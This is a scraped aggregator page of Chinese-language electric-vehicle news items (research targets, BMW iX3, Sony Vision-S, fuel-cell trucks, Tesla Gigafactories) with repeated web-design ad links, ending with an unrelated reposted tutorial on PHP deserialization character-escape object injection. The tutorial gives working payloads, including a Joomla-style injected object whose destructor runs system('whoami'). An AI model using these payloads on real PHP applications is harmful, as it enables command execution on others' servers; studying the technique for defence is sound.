中國:科技部2017年對新能源汽車部署38個重點研究任務

近日,中國科技部發佈關於對國家重點研發計畫高新領域重點專項2017年度專案申報指南建議徵求意見的通知。新能源汽車專項的總體目標是,繼續深化實施新能源汽車「純電驅動」技術轉型戰略;升級新能源汽車動力系統技術平臺;抓住新能源、新材料、資訊化等科技帶來的新能源汽車新一輪技術變革機遇,超前部署研發下一代技術;到2020年,建立起完善的新能源汽車科技創新體系,支撐大規模產業化發展。  
  新能源汽車試點專項按照動力電池與電池管理系統、電機驅動與電力電子、電動汽車智慧化、燃料電池動力系統、插電/增程式混合動力系統和純電動力系統6個創新鏈,共部署38個重點研究任務,專項實施週期為5年。其中,對於插電式混合動力系統的考核標準已經逐步完善,對新型高性價比乘用車混合動力總成開發與整車集成的考核標準為:整車加速時間0-100km/h≤5s,0-50km/h≤2.5s;綜合工況純電續駛里程≥70km;燃油消耗量較第四階段油耗限值降低比例≥40%;整車實現銷售≥5000台。   純電動汽車未來的百公里加速要在6S以內,專項對純電動力系統的其中一項考核標準是,在工況下,最大爬坡度≥30%,純電續駛里程≥300km,0-100km/h加速時間≤6s,30分鐘最高車速≥120km/h;電制動降低電能消耗率≥25%;整車具備安全穩定的轉向功能,並實現小批量試驗運行。   電動汽車目前的關鍵技術在於動力電池,專項對與新能源汽車的動力電池和電池管理系統的考核標準是:提交高比能鋰離子電池的安全風險識別方法與評測報告;建立電池的安全評測體系,形成相關安全標準;電池單體能量密度≥300Wh/kg,迴圈壽命≥1500次,成本≤0.8元/Wh,安全性達到國標要求,年生產能力≥1億瓦時。   文章來源:EV世紀

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

中華電、e-moving跨業合作 直營門市推獨家優惠

中華電宣布,公司與電動機車龍頭中華汽車攜手合作推出「e-moving電動機車/自行車」獨家優惠,只要是中華電市內電話或寬頻的客戶,即日起於中華電直營門市即可享有優惠價,並擁有「業界最長-電池保固4年」獨家好禮。

依據環保署統計,台灣是全球機車密度最高的地區,空污問題日趨嚴重,細懸浮微粒(PM2.5)36%來自汽機車廢氣排放,有鑑於此,中華電特別響應政府節能減碳及空污管制政策,攜手中華汽車對抗PM2.5,鼓勵全民騎乘綠色交通工具e-moving,一起為環保種下幸福種籽。

中華電北區分公司總經理鄭閔卿表示,中華汽車的電動車在市場屢創佳績,深獲民眾肯定,這次很榮幸能跨業合作,由中華汽車加碼提供在公司旗下直營門市購買e-moving電動機車的客戶,除原有電池保固3年外,特別再贈送1年優惠。

中華汽車表示,旗下e-moving電動車榮獲國內外優良產品設計獎項(德國iF設計大獎),擁有44項專利,採用重機同級的「自動駐車架」,搭配「自動倒車裝置」功能,其中EM100車系更配備專屬「省力牽車」,提供輕鬆省力的代步功能,是都會女性及上班族的最愛,輕鬆優雅好停車。

中華汽車電動二輪營銷部經理黃奕元表示,電動機車不像汽油機車有複雜的零件,每二千公里只需換齒輪油,大幅節省保養費用,一般機車1元只能跑1.2公里;電動車1元可跑15公里,以每月機車平均行駛500km計算,騎e-moving一年,節能減碳效益相當於種植20顆樹。

中華電表示,在直營門市推出購車服務之後,預期市場上電動車用戶也將大幅增加,而公司亦深感榮幸,能經由本項節能商品銷售來配合政府政策,善盡企業社會責任。

(本文內容由授權提供)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

三菱汽車五年內推出電動休旅車

搶攻電動車市場,三菱汽車(Mitsubishi Motors)宣布預計在2020年推出純電動休旅車,且將是全球戰略性車款。

報導指出,三菱的澳洲執行長Osamu Masuko透露了2020年發表純電動休旅車的計畫,但其他細節並未公開。市場猜測,這款車會類似Nissan Juke或Ford EcoSport,為中小型休旅車款,並搭配全時四輪驅動系統與自動駕駛系統。

而特斯拉的400公里續航力儼然成了新一代電動車產品的續航力標準。三菱的純電動休旅車續航力,具三菱汽車內部消息透露,也會超過400公里,可與特斯拉車款一較高下。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

底特律計畫 2019年推兩款全新純電動車型

底特律電動汽車是由位於底特律的Anderson電動汽車公司生產的一款純電動汽車品牌,底特律電動汽車品牌在2008年的時候正式回歸市場。  
  雖然旗下的SP:01車型還沒有真正的上市銷售,但是根據消息稱,該品牌的電動汽車已經計畫在2019年將推出兩款全新的純電動車型。有趣的是,與特斯拉一樣,它推出的首款進軍汽車市場的車型是一款純電動車型;另外,其SP:01也是在Lotus Elise車型的基礎上打造而來的純電動車型。但是底特律電動汽車卻極力與特斯拉劃清界限,聲稱他們並不是步特斯拉的後塵。   在其SP:01車型正式發佈之後,近日底特律電動汽車已經開始投入另外兩款全新的純電動車型的研發工作,一款為SUV車型;一款為轎車車型。但是,他們同特斯拉有著較大的區別。底特律電動汽車聲稱,在其新款電動車型推向市場的同時還將實現年產50000到60000的產量目標。   文章來源:鳳凰汽車

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

BMW iX3 正式登場,又一款台灣買不到的電動車

搭載第五代 eDrive 技術,續航突破 440 公里的 BMW iX3,今日正式登場,並宣布於明年起在中國、北美和歐洲開賣,台灣消費者幾乎肯定買不到,因為這款車將會在中國製造。

德國汽車大廠 BMW,去年介紹了 iX3 的概念車型後,就受到許多車迷期待,今天終於宣布要在 2020 年正式開賣,先來看看這輛車的規格與性能吧。

BMW iX3 搭載 74 kWh 的新版電池組,根據歐盟標準,滿電里程達到 440 公里,馬達能夠輸出 286 馬力,最大扭力為 400 牛頓米。極速達到每小時 200 公里,零到一百加速時間為 6 秒,能源效率部分,官方並未提供準確數據,只表示會低於 20 kW/100 km,由於 BMW i3 的能源效率約為 15 kW/100 km,因此保守估計 iX3 應該能有差不多的表現。

BMW i3 做為集團最初代的電動車,雖然銷售不算太好,但在品牌效應下,仍然有穩定的市場。iX3 的命名則非常有趣,因為它雖然是集團第二款純電車,但他並不是 i3 的後繼車款,而是新一代的 X3,被定義為首款純電動的 SAV(Sport Activity Vehicle)。

iX3 除了純電版本,還會推出同款的燃油版跟油電板,一車三吃。它所搭載的第五代 eDrive 是 BMW 為了下一個世代的電動車所開發的新動力系統,未來將會使用在 i4 跟 i-NEXT 身上。

無論 BMW 願不願意,iX3 的尺寸和價位都無法避免要跟 Tesla 的 SUV 相比,單純比較性能的話,iX3 跟 Model Y 比較接近,但特斯拉在各方面都小贏一些,價格如果沒意外的話,Model Y 應該會比 iX3 便宜不少,但是考慮到內裝和品牌效應,這兩台車應該會讓不少車主苦惱一番(官方售價尚未公布,推測落在 7 萬美元左右)。

不過台灣車主大概不需要苦惱,因為 ,除非法規鬆綁,否則台灣注定是買不到這台車了。台灣的 BMW 車友如果想要入手新款的 電動車,就要等 2021 年的 i4 了。

▲ 第五代 eDrive 動力元件是 BMW 邁入下一個時代的最重要核心技術。(Source:)

BMW 是少數不打算自行研發電池的傳統車廠,目前 i3 使用的是南韓三星的電池組,而 iX3 將會使用寧德時代的電池組。這家車廠將心力投注在他們的 eDrive 動力系統上,根據目前釋出的訊息來看,BMW 的新款馬達並沒有採用目前常見的永磁同步馬達,而是用他們研發的新系統,將馬達、差速器跟系統電子組件全部整合在一起,變成極為精簡的驅動元件,同時提供優秀的動力表現。

「第五代 eDrive 的驅動元件,重量出力比跟前代相較之下提升了 30%,」BMW 官方發言人表示,不僅效率提升,製作過程中也不再需要使用稀土,未來他們將會大量應用這款驅動元件在各種車型上。

此外,寧德時代提供給 BMW 的方形電池組,採用的是新技術 NMC-811 電池,鎳的比例更高,鈷和錳比例下降,除了成本更低,能量密度也更高。

iX3 另一個隱藏的對手是 Tesla Model Y,由於交車時間尚未明朗,許多車主還在觀望,如果 Model Y 在 2020 年第一季順計出貨,那 BMW iX3 可能會跟 i3 一樣,只能固守基本盤,無法吃下更多電動休旅車的市場。

(合作媒體:。首圖來源:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

電動車市場上軌道但電子大廠開始打退堂鼓,Sony 成為唯一逆向

電動車市場逐漸步上正軌,先前許多大動作要進入電動車領域,喊出或暗示要打造電動車的電子大廠卻開始打退堂鼓。在諸多電子大廠的退卻潮下,Sony 千山萬水我獨行,推出 Vision-S 電動概念車,是「人棄我取」的逆行觀念,還是只是「項莊舞劍,意在沛公」?

以蘋果(Apple)來說,先前曾經傳出「泰坦計畫」(Project Titan)要在 2019 年推出自家電動車,2019 年都過去了,卻無消無息,事實上蘋果在幾年前就改換電動車領域的發展方向,雖然蘋果仍不斷在電動車領域申請專利,但是專利大多集中在資訊娛樂系統,以及自動駕駛軟體,而非打造一輛完整的車。

英國吸塵器大廠戴森(Dyson),原本對電動車也有雄圖大略,2015 年購併固態電池新創事業 Sakti3 後,原本有 25 億英鎊的大計畫,包括 2018 年在新加坡建廠,以及打造電動車,到 2019 年 10 月,戴森打了退堂鼓,表示儘管研發極盡努力,卻無法打造出商業可獲利的車款。

蘋果與戴森的退卻,顯示一個基本問題,那就是即使電動車跳過最複雜的內燃機引擎部分,打造汽車仍是相當高技術門檻的事,並非藉由電子方面的專長就能打造電動車。要打造一輛能熬過日曬雨淋下雪,在路上經歷 15 年的車輛,是相當複雜且需要工程技術的任務,汽車大廠數十年來精研於此,就算排除內燃機引擎部分,仍非一朝一夕可超越。

Google 於 2016 年將自駕車部門獨立成為 WaymoWaymo 也放棄自己打造自駕車,2019 年 Waymo 在亞利桑那州開始試營運自駕計程車,不過使用的是第三方車廠的車改造,克萊斯勒(ChryslerPacifica,以及捷豹(JaguarI-Pace,而非自行打造。

自動駕駛的軟硬體技術方面,科技大廠顯然仍興致高昂、摩拳擦掌,但要打造整輛車,這個主意從來都不現實。一開始科技大廠看到電動車能跳脫汽車業最困難尖端的內燃機引擎技術,替代為電子電機大廠熟悉的馬達與鋰電池,見獵心喜,認為這是打入長期由車廠壟斷的市場的良機,但很快就發現,汽車市場早已是割喉戰,要跳進去規模量產汽車,跟著割喉,並不是個好主意。

科技大廠打退堂鼓的根本原因,在於打造整輛車,毛利率遠低於軟體與消費性電子產品,這些原本位於高毛利產業的大廠,稍事研究後,就對進軍「茅山道士」(毛利 3%~4%)產業敬謝不敏,不如安於於當軟體技術與關鍵硬體供應商,因此蘋果樂於打造車用資訊娛樂系統軟體平台,而戴森樂於供應電池,但不想做整輛車。

此外,割喉戰還會越來越嚴重,原本只有特斯拉(Tesla)領頭開拓電動車市場,如今幾乎主要車廠都已經大力投入,而特斯拉本身也已經往平價車款發展,另一方面,中國廠商磨刀霍霍,想在中國低價電池廠的產能撐腰下積極投入,很快電動車市場就會如傳統汽車市場「割喉割到斷」,而且恐怕比過去更激烈。

中國本身 IT 巨頭,也採用投資的方式加入電動車市場,而非自身投入打造電動車,如騰訊投資和諧富騰、阿里巴巴投資小鵬汽車。連中國巨頭企業都迴避這個紅海戰場,那麼也就難怪歐美大廠從本來有興趣,改為退避三舍了。

千山萬水,Sony 獨行?

此股退卻潮中,唯一逆向而行的,大概只有日本電子大廠 Sony。2020 年 CESSony 宣布 Vision-S 概念電動車原型,車內車外內建 33 種不同感測器,車內資訊娛樂系統有好幾個寬螢幕顯示器、360 度環場音效、常時連線(always-on connectivity),其中部分技術來自音響大廠博世(Bosch),以及黑莓(BlackBerry)的行動無線通訊技術。此外,Sony 更打造全新設計的電動車平台,來自加拿大汽車零件供應大廠麥格納(Magna),不僅支援轎車也支援休旅車。

Vision-S 概念電動車相當有未來感,不過產業界對 Vision-S 最想知道的是:Sony 與麥格納,真的打算將這款車規模生產商業上市嗎?還是只是藉此展示車用平台及相關零組件、感測器、軟硬體技術?發表會當天,Sony 電動車發表時間並不長,且還強調 Sony 以影像感測器部門積極投資自動駕駛相關技術,包括強化原本的 CMOS,以及發展光雷達(LIDAR)、飛時測距鏡頭(Time-of-flight camera),以及複合多種感測器強化對環境的辨認能力。

就此看來, Sony 與麥格納仍是定位自身為平台與關鍵零組件供應商,Vision-S 概念電動車較可能只是為了展示所有想推銷給各大車廠的相關技術,而非真要把 Vision-S 掛上 Sony 品牌上市,否則,恐怕先要遭受全球車廠客戶抵制,得不償失。

無論如何,至少 Sony 還敢推出概念電動車原型,成為電子大廠進攻電動車市場的最後勇者,到底是「項莊舞劍,意在沛公」,最後跟其他電子大廠一樣只當車用平台零組件與軟硬體供應商,還是真會自己跳下去製造電動車,就看 Sony 有沒有豪賭的勇氣了。

(合作媒體:。首圖為Vision-S 電動概念車,來源:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

推動 FCV 普及!本田、五十鈴傳攜手研發燃料電池卡車

日經新聞 14 日,本田汽車(Honda)將和五十鈴(ISUZU)攜手研發使用氫氣作為燃料的燃料電池卡車,期望藉此推動燃料電池車(FCV)的普及腳步。

據報導,此將是本田首度將 FCV 技術提供給外部企業使用,而五十鈴計畫早期推出使用本田燃料電池系統的卡車車款。除五十鈴之外,本田今後也計畫將燃料電池系統販售給造船公司等外部企業。

FCV 是使用氫氣作為燃料進行行駛的車款,因不會排放二氧化碳,因此被視為「究極的環保車」,不過因供應燃料的氫氣站缺乏、導致 FCV 普及速度牛步,不過若是卡車等商用車的話、因有固定的行駛路徑因此更易於進行氫氣站的整備。

全球 FCV 普及腳步緩慢,根據英國調查公司 IHS Markit 指出,相較於 2018 年電動車市場規模約 140 萬台、FCV 僅約 4,000 台。

豐田於 2014 年 12 月開賣全球首款量產款 FCV「MIRAI」、本田也於 2016 年推出 FCV 車「Clarity」。

南韓媒體中央日報日文版 1 月 14 日報導,根據南韓產業通商資源部指出,2019 年 1-10 月期間全球 FCV 銷售量為 6,126 台,其中南韓現代汽車拿下高達 60%(3,666 台)的銷售市佔率,其次為豐田(2,174 台)和本田(286 台)。

豐田汽車會長內山田竹志於 2019 年 9 月 25 日在東京都內舉行的「氫氣部長級會議」上表示,關於燃料電池車(FCV)「MIRAI」的次代車款,「目前正進行最終研發、目標在 2020 年內開賣」。

日本媒體報導,由約 40 個國家/機關代表者出席、討論氫氣普及對策的「氫氣部長級會議」於 2019 年 9 月 25 日在東京都內舉行,而擔任議長的日本經濟產業大臣菅原一秀提案,將使用燃料電池的車輛、飛機等交通工具的普及數量在今後 10 年間擴增至 1,000 萬台訂為全球目標,而該提案獲得與會各國贊同。

另外,該會議上也同意,計畫在 10 年內將供應燃料的氫氣站數量自現行的數百座擴增至 1 萬座。

(本文內容由 授權使用。首圖來源:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

Elon Musk將建10 – 20座Gigafactory

在6月6日舉辦的股東會議上,Tesla創辦人Elon Musk提到將在全球建至少10座到20座超級電池工廠(Gigafactory)以供應市場需求。

過去,Elon Musk曾提到以全球對電動車和儲能電池的需要,需要100座Gigafactory來應付市場需求。外媒指出,Elon Musk這番發言也暗示Tesla未來將佔全球10%的儲能和電動車的產能。

Tesla於美國內華達州的Gigafactory 1目前仍持續建造並且已進行鋰電池生產,Elon Musk於股東會議中提到,當Gigafactory 1產能全開時,其生產的鋰電池數量將會比全球其餘鋰電池工廠生產的總和還要多。

與Panasonic的合作使Tesla在生產池上有極大的優勢,其最終目標是生產先進且低價的鋰電池,同時Tesla視Gigafactory為一個「巨型機器」,會不斷改善和優化。

至於目前未來規劃中的3、4座Gigafactory的廠址還未定案,日前Elon Musk表示,2017年底將宣布它們的落腳處。由於Tesla位於加州費利蒙的工廠生產線已滿載,因此其中一座未來的Gigafactory將會用來生產新型SUV Model Y,其生產線也會於其他Gigafactory不同。

(圖片來源:Tesla Club Belgium via Flickr CC2.0)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

歐洲可充電公路測試中,預計2018年上市

電動車邊最怕路上沒電,但如果能邊跑邊充電,就不怕沒電的問題,這項殺手級應用聽起來很科幻,但現實世界,可充電公路已進入測試階段,離實際應用應該也不遠了。

將無線充電套件嵌入道路表面上,就成了名符其實的充電道路,美國晶片廠高通近期就在法國測試道路上展示這項技術,稱之為電動車行進間充電(dynamic electric vehicle charging,簡稱DEVC)。

據Economictimes報導,DEVC可對高速行駛之汽車,以最高20kW的功率充電,目前同一條跑道上,DEVC能同時對兩輛電動車進行充電。

歐洲非常重視電動車發展,這項計畫是由歐盟執委會(European Commission)主導,共耗費一千萬美元,來自九個歐盟成員國的25個機構共同參與。報導指出,無線充電電動車預計2017、2018年上市,多數主要車廠正準備制訂全球無線充電標準。

(本文內容由授權使用。圖片出處:wikipedia)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

PHP字符逃逸導致的對象注入

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整